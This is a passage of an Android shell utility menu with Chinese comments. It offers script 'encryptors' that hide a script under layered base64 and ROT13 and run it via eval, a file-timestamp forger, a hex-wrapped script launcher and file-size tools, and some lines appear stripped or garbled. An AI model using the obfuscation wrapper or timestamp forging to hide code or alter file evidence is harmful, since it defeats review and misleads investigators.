    echo "decoded=\$(echo \"\$decoded\" | tr 'A-Za-z' 'N-ZA-Mn-za-m')" # 第4层
    echo "decoded=\$(echo \"\$decoded\" | base64 -d)"                # 第5层
    echo ""
    echo "# 可靠执行"
    echo "eval \"\$decoded\""
    echo ""
    echo "echo '=== 执行完成 ==='"
    echo "exit 0"
    echo ""
    echo "---BEGIN DATA---"
    # 五层加密过程
    payload=$(cat "$input_path")
    payload=$(echo "$payload" | base64)                # 第5层
    payload=$(echo "$payload" | tr 'A-Za-z' 'N-ZA-Mn-za-m') # 第4层
    payload=$(echo "$payload" | base64)                # 第3层
    payload=$(echo "$payload" | tr 'A-Za-z' 'N-ZA-Mn-za-m') # 第2层
    payload=$(echo "$payload" | base64)                # 第1层
    echo "$payload"
    echo "---END DATA---"
} > "$output_path"

# 确保文件格式正确
{
    sed -i 's/$//' "$output_path" 2>/dev/null || true
    tr -d '' < "$output_path" > "${output_path}.tmp" 2>/dev/null && mv "${output_path}.tmp" "$output_path"
}

chmod 755 "$output_path"
echo ""
echo "✅ 加密成功！(终极兼容版)"
echo "📂 加密文件: ${output_path}"
echo "🔒 安全特性:"
echo " - 五层base64+ROT13交替加密"
echo " - 零外部依赖"
echo " - 100%安卓兼容"
echo "🚀 执行命令: sh \"${output_path}\""
            ;; 
        7)
            #!/system/bin/sh

# ███████ 可靠加密器（简化版）███████
# 三层加密 | 100%兼容 | 确保执行可靠

echo "=== 可靠加密器 ==="
echo "正在准备..."

# 生成安全标记
marker="SEC_$(date +%s | md5sum | cut -c1-8)"

echo "请输入要加密的脚本路径:"
read -r input_path

# 清理输入路径
input_path=$(echo "$input_path" | tr -d '
' | sed 's/[<>"|*?]//g')

# 检查文件是否存在
[ ! -f "$input_path" ] && {
    echo "错误: 文件不存在!"
    exit 1
}

# 准备输出路径
filename=$(basename "$input_path" .sh)
output_path="$(dirname "$input_path")/${filename}_ENCRYPTED.sh"

# 可靠加密过程
{
    echo "#!/system/bin/sh"
    echo "# 可靠加密脚本"
    echo "# 标记: $marker"
    echo ""
    echo "echo '=== 开始解密 ==='"
    echo ""
    echo "# 数据提取"
    echo "enc_data=\"\""
    echo "while IFS= read -r line; do"
    echo "  if [ \"\$line\" = \"---BEGIN DATA---\" ]; then"
    echo "    read_data=1"
    echo "  elif [ \"\$line\" = \"---END DATA---\" ]; then"
    echo "    read_data=0"
    echo "  elif [ \"\$read_data\" = \"1\" ]; then"
    echo "    enc_data=\"\$enc_data\$line\""
    echo "  fi"
    echo "done < \"\$0\""
    echo ""
    echo "# 三层解密过程"
    echo "decoded=\$(echo \"\$enc_data\" | base64 -d 2>/dev/null)"
    echo "decoded=\$(echo \"\$decoded\" | tr 'A-Za-z' 'N-ZA-Mn-za-m')"  # ROT13解密
    echo "decoded=\$(echo \"\$decoded\" | base64 -d 2>/dev/null)"
    echo ""
    echo "# 可靠执行"
    echo "eval \"\$decoded\""
    echo ""
    echo "echo '=== 执行完成 ==='"
    echo "exit 0"
    echo ""
    echo "---BEGIN DATA---"
    # 三层加密过程
    payload=$(cat "$input_path")
    payload=$(echo "$payload" | base64)
    payload=$(echo "$payload" | tr 'A-Za-z' 'N-ZA-Mn-za-m')  # ROT13加密
    payload=$(echo "$payload" | base64)
    echo "$payload"
    echo "---END DATA---"
} > "$output_path"

# 确保文件格式正确
{
    sed -i 's/$//' "$output_path" 2>/dev/null || true
    tr -d '' < "$output_path" > "${output_path}.tmp" 2>/dev/null && mv "${output_path}.tmp" "$output_path"
}

chmod 755 "$output_path"
echo ""
echo "✅ 加密成功！"
echo "📂 加密文件: ${output_path}"
echo "🔒 安全特性:"
echo " - 三层混合加密"
echo " - 无外部依赖"
echo " - 100%执行可靠"
echo "🚀 执行命令: sh \"${output_path}\""
            ;; 
        8)
           #!/system/bin/sh

# 文件时间修改工具（100%稳定版）
echo "=== 文件时间修改工具 ==="
echo "支持格式：YYYYMMDDHHMM 或 YYYY-MM-DD HH:MM"

# 修复点1：强制清空输入缓冲区
while read -r -t 0; do read -r; done

# 修复点2：安全的路径输入流程
while true; do
    echo "请长按文件 -> [属性] -> 复制完整路径"
    printf "粘贴文件路径: "
    read file_path
    file_path=$(echo "$file_path" | sed "s/^'//;s/'$//;s/^\"//;s/\"$//;s/[[:space:]]*$//")
    
    [ -e "$file_path" ] && break
    echo "✖ 文件不存在！实际检测路径: [${file_path}]"
    echo "💡 请确认："
    echo "1. 使用MT管理器复制完整路径"
    echo "2. 不要手动输入路径"
done

# 修复点3：独立的时间输入流程
while true; do
    printf "请输入时间(格式YYYYMMDDHHMM或留空): "
    read custom_time
    
    [ -z "$custom_time" ] && break
    
    # 验证时间格式
    if echo "$custom_time" | grep -qE '^([0-9]{12}|[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2})$'; then
        break
    fi
    echo "错误: 时间格式无效!"
    echo "示例1: 202401011200"
    echo "示例2: 2024-01-01 12:00"
done

# 原时间处理逻辑（保持完全不变）
if [ -z "$custom_time" ]; then
    time_format="now"
else
    case "$custom_time" in
        *-*-*\ *:*)
            time_format="${custom_time%%:*}:00"
            ;;
        *-*-*)
            time_format="${custom_time} 00:00:00"
            ;;
        [0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9])
            time_format="${custom_time:0:4}-${custom_time:4:2}-${custom_time:6:2} ${custom_time:8:2}:${custom_time:10:2}:00"
            ;;
    esac
fi

# 原执行逻辑（保持完全不变）
if [ "$time_format" = "now" ]; then
    touch "$file_path"
else
    if which busybox >/dev/null 2>&1; then
        busybox touch -t "$(date -d "$time_format" +"%Y%m%d%H%M.%S")" "$file_path"
    else
        year=$(date -d "$time_format" +"%Y")
        month=$(date -d "$time_format" +"%m")
        day=$(date -d "$time_format" +"%d")
        hour=$(date -d "$time_format" +"%H")
        minute=$(date -d "$time_format" +"%M")
        
        touch -a -m -t "${year}${month}${day}${hour}${minute}" "$file_path" 2>/dev/null || \
        touch -d "$time_format" "$file_path" 2>/dev/null
    fi
fi

echo ""
echo "✅ 时间修改完成"
echo "📂 文件: ${file_path}"
echo "🕒 新时间: $(ls -l "$file_path" | awk '{print $6,$7,$8}')"
            ;; 
        9)
            #!/system/bin/sh

# ███████ 脚本转二进制工具（改进版）███████
# 改进点：
# 1. 强制生成启动器
# 2. 所有文件保存在原目录
# 3. 更严格的错误检查

echo "=== 脚本转二进制工具 ==="
echo "请输入要转换的脚本路径:"
read -r input_path

# 路径标准化处理
input_path=$(echo "$input_path" | tr -d '
' | sed 's/[<>"|*?]//g')
[ ! -f "$input_path" ] && { echo "错误: 文件不存在"; exit 1; }

# 准备输出文件名
filename=$(basename "$input_path" .sh)
output_bin="$(dirname "$input_path")/${filename}.bin"
output_launcher="$(dirname "$input_path")/${filename}_launcher.sh"

# ▼▼▼ 核心转换流程 ▼▼▼
echo "正在转换..."
{
    # 生成二进制数据（兼容无xxd的设备）
    if ! xxd -p -c 256 "$input_path" > "$output_bin" 2>/dev/null; then
        if which busybox >/dev/null; then
            busybox xxd -p -c 256 "$input_path" > "$output_bin" || {
                echo "错误: 二进制转换失败"; 
                exit 1
            }
        else
            echo "错误: 需要xxd或busybox支持"; 
            exit 1
        fi
    fi

    # ▼▼▼ 强制生成启动器 ▼▼▼
    cat > "$output_launcher" <<-EOF
#!/system/bin/sh

# ███████ 二进制脚本启动器 ███████
# 自动生成 - 请勿手动修改
# 源文件: $(basename "$output_bin")

# 检查二进制文件
bin_path="\$(dirname "\$0")/${filename}.bin"
[ ! -f "\$bin_path" ] && {
    echo "错误: 找不到二进制文件 \$bin_path"
    exit 1
}

# 内存中还原脚本
tmp_script="\$(mktemp -p /data/local/tmp 2>/dev/null || echo "/data/local/tmp/.${filename}.tmp.sh")"
if ! xxd -p -r "\$bin_path" > "\$tmp_script" 2>/dev/null; then
    [ -x "\$(which busybox)" ] && \
    busybox xxd -p -r "\$bin_path" > "\$tmp_script" || {
        echo "错误: 二进制解码失败"
        exit 1
    }
fi

# 安全执行
chmod 700 "\$tmp_script"
"\$tmp_script" "\$@"
result=\$?
rm -f "\$tmp_script" 2>/dev/null
exit \$result
EOF

    chmod 755 "$output_launcher"
} && echo "✅ 转换完成！"

echo ""
echo "📦 生成文件:"
echo "  - 二进制文件: ${output_bin}"
echo "  - 启动器: ${output_launcher}"
echo ""
echo "🚀 执行命令:"
echo "   sh \"${output_launcher}\""
echo "⚠️ 注意: 必须保留 ${output_bin} 文件"
            ;; 
       10)
            #!/system/bin/sh

# MT管理器完全兼容版文件大小修改工具
# 支持单位：B(字节)、K(KB)、M(MB)、G(GB)、T(TB)

echo "========================================"
echo "    文件大小修改工具   "
echo "========================================"
echo "1. 创建新文件"
echo "2. 修改文件大小"
echo "3. 退出"
echo "========================================"
echo "请输入数字选择操作: "

read choice

case $choice in
    1)
        echo "【创建新文件】"
        echo "请输入文件完整路径: "
        read filepath
        
        if [ -e "$filepath" ]; then
            echo "错误: 文件已存在!"
            exit 1
        fi
        
        while true; do
            echo "请输入文件大小(如: 512B=512字节, 100K=100KB, 2M=2MB, 1G=1GB, 1T=1TB): "
            read size
            if echo "$size" | grep -Eq '^[0-9]+[BKMG]$'; then
                break
            elif echo "$size" | grep -Eq '^[0-9]+T$'; then
                break
            else
                echo "格式错误! 请使用例如: 512B, 100K, 2M, 1G, 1T 的格式"
            fi
        done
        
        echo "正在创建文件..."
        dd if=/dev/zero of="$filepath" bs=1 count=0 seek="$size" 2>/dev/null
        
        if [ $? -eq 0 ]; then
            echo "创建成功! 文件路径: ${filepath}"
            echo "文件大小: ${size}"
        else
            echo "创建失败! 请检查权限和存储空间"
        fi
        ;;
        
    2)
        echo "【修改文件大小】"
        echo "请输入文件路径: "
        read filepath
        
        if [ ! -f "$filepath" ]; then
            echo "错误: 文件不存在!"
            exit 1
        fi
        
        filesize=$(ls -l "$filepath" | awk '{print $5}')
        echo "当前文件大小: ${filesize} 字节"
        
        while true; do
            echo "请输入新大小(如: 512B=512字节, 100K=100KB, 2M=2MB, 1G=1GB, 1T=1TB): "
            read newsize
            if echo "$newsize" | grep -Eq '^[0-9]+[BKMG]$'; then
                break
            elif echo "$newsize" | grep -Eq '^[0-9]+T$'; then
                break
            else
                echo "格式错误! 请使用例如: 512B, 100K, 2M, 1G, 1T 的格式"
            fi
        done
        
        echo "正在修改文件大小..."
        dd if=/dev/zero of="$filepath" bs=1 count=0 seek="$newsize" 2>/dev/null
        
        if [ $? -eq 0 ]; then
            echo "修改成功! 新文件大小: ${newsize}"
        else
            echo "修改失败! 请检查权限和存储空间"
        fi
        ;;
        
    3)
        echo "退出程序"
        exit 0
        ;;
        
    *)
        echo "无效的选择! 请输入1-3的数字"
        exit 1
        ;;
esac

echo "按回车键退出..."
read dummy
            ;; 
       11)
            #!/system/bin/sh

# 稀疏文件创建/修改工具
# 支持单位：B(字节), K(KB), M(MB), G(GB), T(TB)

echo "========================================"
echo "    稀疏文件操作工具 (安全无物理占用)   "
echo "========================================"
echo "1. 创建稀疏文件"
echo "2. 修改为稀疏文件"
echo "3. 退出"
echo "========================================"
echo "请输入数字选择操作: "

read choice

case $choice in
    1)
        echo "【创建稀疏文件】"
        echo "请输入文件完整路径: "
        read filepath
        
        if [ -e "$filepath" ]; then
            echo "错误: 文件已存在!"
            exit 1
        fi
        
        while true; do
            echo "请输入文件大小(如: 512B, 100K, 2M, 1G, 1T): "
            read size
            if echo "$size" | grep -Eq '^[0-9]+[BKMG]$'; then
                break
            elif echo "$size" | grep -Eq '^[0-9]+T$'; then
                break
            else
                echo "格式错误! 请使用例如: 512B, 100K, 2M, 1G, 1T 的格式"
            fi
        done
        
        echo "正在创建稀疏文件..."
        truncate -s "$size" "$filepath" 2>/dev/null
        
        if [ $? -eq 0 ]; then
            echo "创建成功! 文件路径: ${filepath}"
            echo "逻辑大小: ${size} (实际占用 0 字节)"
        else
            echo "创建失败! 请检查权限或是否支持 truncate 命令"
            echo "尝试使用 dd 替代方案..."
            dd if=/dev/zero of="$filepath" bs=1 count=0 seek="$size" 2>/dev/null
            [ $? -eq 0 ] && echo "创建成功 (dd兼容方案)" || echo "彻底失败!"
        fi
        ;;
        
    2)
        echo "【修改为稀疏文件】"
        echo "请输入文件路径: "
        read filepath
        
        if [ ! -e "$filepath" ]; then
            echo "错误: 文件不存在!"
            exit 1
        fi
        
        current_size=$(ls -l "$filepath" | awk '{print $5}')
        echo "当前文件实际占用大小: ${current_size} 字节"
        
        while true; do
            echo "请输入新逻辑大小(如: 512B, 100K, 2M, 1G, 1T): "
            read newsize
            if echo "$newsize" | grep -Eq '^[0-9]+[BKMG]$'; then
                break
            elif echo "$newsize" | grep -Eq '^[0-9]+T$'; then
                break
            else
                echo "格式错误! 请使用例如: 512B, 100K, 2M, 1G, 1T 的格式"
            fi
        done
        
        echo "正在修改为稀疏文件..."
        truncate -s "$newsize" "$filepath" 2>/dev/null
        
        if [ $? -eq 0 ]; then
            echo "修改成功! 新逻辑大小: ${newsize}"
            echo "提示: 此文件为稀疏文件，实际占用空间可能为 0"
        else
            echo "修改失败! 尝试使用 dd 替代方案..."
            dd if=/dev/zero of="$filepath" bs=1 count=0 seek="$newsize" 2>/dev/null
            [ $? -eq 0 ] && echo "修改成功 (dd兼容方案)" || echo "彻底失败!"
        fi
        ;;
        
    3)
        echo "退出程序"
        exit 0
        ;;
        
    *)
        echo "无效的选择!"
        exit 1
        ;;
esac

echo "按回车键退出..."
read dummy
            ;;
       12)
            #!/system/bin/sh

# ==========================================
# 终极文件转换器 (美化增强版)
# 特性：
# 1. 护眼UI配色（柔绿/珊瑚橙/ slate灰）
# 2. 双进度条系统
# 3. 完整状态提示
# ==========================================

# 护眼配色方案
TITLE="  "      # slate绿
PROGRESS=" " # 珊瑚橙
SUCCESS=" "   # 柔绿色
WARNING="  "   # 琥珀黄
ERROR="  "     # 浅红色
RESET=" "

# 动画进度条
show_progress() {
  local duration=$1
  echo -ne "⏳ 进度: ["
  for i in {1..20}; do
    sleep "$duration"
    echo -n "="
  done
  echo "] 100%"
}

# 主转换函数
convert_file() {
  file="$1"
  [ ! -f "$file" ] && echo "❌ 文件不存在！" && return 1

  filename=$(basename "$file")
  output="${filename%.*}_converted.sh"

  echo "🛠️ 正在转换: ${filename}"
  show_progress 0.05 &
  progress_pid=$!

  # 核心转换逻辑（保持您验证过的稳定结构）
  {
    echo "#!/system/bin/sh"
    echo "# 文件: $filename"
    echo "echo '🌀 正在还原文件...'"
    echo "show_progress() {"
    echo "  echo -ne '⏳ 进度: ['"
    echo "  for i in {1..20}; do sleep 0.05; echo -n '='; done"
    echo "  echo '] 100%'"
    echo "}"
    echo "show_progress &"
    echo "base64 -d <<EOF | cat > \"$filename\""
    base64 "$file"
    echo "EOF"
    echo "[ \$? -eq 0 ] && echo '✅ 复原完成' || echo '❌ 还原失败'"
    echo "chmod 644 \"$filename\""

    # 文件类型处理
    case "${filename##*.}" in
      jpg|jpeg|png|gif|webp|bmp|heic)
        echo "am start -a android.intent.action.VIEW -t image/* -d \"file://\$(pwd)/$filename\" >/dev/null"
        ;;
      mp4|mkv|avi|mov|flv|3gp|webm)
        echo "am start -a android.intent.action.VIEW -t video/* -d \"file://\$(pwd)/$filename\" >/dev/null"
        ;;
      mp3|wav|flac|aac|ogg|m4a)
        echo "am start -a android.intent.action.VIEW -t audio/* -d \"file://\$(pwd)/$filename\" >/dev/null"
        ;;
      txt|log|json|xml|html|md|csv)
        echo "echo '📝 文本内容：' && cat \"$filename\""
        ;;
      apk)
        echo "pm install -r \"$filename\" && echo '✅ 安装成功' || echo '⚠️ 需要Root权限'"
        ;;
      *)
        echo "echo '✅ 文件已还原'"
        ;;
    esac

    echo "echo '🔍 文件信息: $(du -h \"$filename\" | cut -f1) | MD5: $(md5sum \"$filename\" 2>/dev/null | cut -d" " -f1 || echo "未知")'"
  } > "$output"

  kill $progress_pid 2>/dev/null
  wait $progress_pid 2>/dev/null
  chmod +x "$output"
  
  echo "🎉 转换成功！"
  echo "📌 生成脚本: ${output}"
}

# 主界面
clear
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "           文件转换器           "
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "📌 支持格式: 图片 | 视频 | 音频"
echo "         文本 | APK安装包"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"

echo -n "📥 输入文件路径: "
read filepath
convert_file "$filepath"
            ;;
         *)
            echo "无效选项!"
            ;;
    esac
    
    echo "------------------------------------"
    echo "脚本执行完成!"
    echo "按回车键返回主菜单..."
    read
}

# 主循环
while true; do
    show_menu
    read choice
    
    case $choice in
        1|2|3|4|5|6|7|8|9|10|11|12)
            execute_script $choice
            ;;
        0)
            echo "退出脚本选择器..."
            exit 0
            ;;
        *)
            echo "无效输入，请重新选择!"
            sleep 1
            ;;
    esac
done

echo"防顶号"
show_progress() {
  local duration=$1
  echo -ne "⏳ 进度: ["
  for i in {1..20}; do
    sleep "$duration"
    echo -n "="
  done
  echo "] 100%"
}

wait



















































































































































































































































































